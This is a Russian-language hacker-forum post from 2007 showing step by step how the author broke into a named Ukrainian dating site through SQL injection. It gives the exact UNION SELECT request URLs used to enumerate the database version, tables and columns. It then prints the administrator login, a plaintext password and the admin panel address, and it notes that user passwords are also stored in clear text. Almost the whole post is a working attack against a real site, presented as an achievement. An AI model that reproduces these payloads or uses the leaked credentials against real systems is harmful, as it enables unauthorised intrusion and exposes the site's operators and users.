|
Участник форума
Регистрация: 10.09.2006
Сообщений: 185
Провел на форуме:
1654589
Репутация:
337
|
|
Зараннее говорю - вы не подумайте, я в гугле набирал сайт занкомств!!! =)))
Кстати, обратите внимание на гламурную ссылку на главной странице - admin...
Решил чуток расписать...
Обращаем внимание на то, что при $link = 2-1 картинка снизу соответствует $link = 1.
http://www.freelove.in.ua/link.php?link=2-1/*
Подбираем кол - во столбцов
http://www.freelove.in.ua/link.php?link=2+order_by+64/*
Смотрим версию.
http://www.freelove.in.ua/link.php?link=20000+union+select+1,version(),3,4,5 ,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23 ,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,4 0,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56, 57,58,59,60,61,62,63,64/*
Так как 5 - ая версия, можно посмотреть таблицы, колонки.
http://www.freelove.in.ua/link.php?link=20000+union+select+1,TABLE_NAME,3,4, 5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,2 3,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39, 40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56 ,57,58,59,60,61,62,63,64+from+INFORMATION_SCHEMA.T ABLES+limit+0,1/*
Конечно можно порадоваться таблице users, в которой записаны логины и пассы в чистом виде, но админа там нет, а кому нужны акки на этом сайте? 
Поэтому идем в таблицу adminip и перебираем там колонки...
http://www.freelove.in.ua/link.php?link=20000+union+select+1,COLUMN_NAME,3,4 ,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22, 23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39 ,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,5 6,57,58,59,60,61,62,63,64+from+INFORMATION_SCHEMA. COLUMNS+WHERE+TABLE_NAME='adminip'/*
Бамс! 1 - ая колонкка и сразу pass. Ну что ж...
http://www.freelove.in.ua/link.php?link=20000+union+select+1,pass,3,4,5,6,7, 8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,2 5,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41, 42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58 ,59,60,61,62,63,64+from+adminip/*
Админка наша, победа нафиг! =D
admin:q1a2z3x4s5w6e7d8c9v0 ( http://www.freelove.in.ua/admin.php )
Ps писанины стокоо...))
Последний раз редактировалось Fr-Ron; 06.04.2007 в 23:01..
|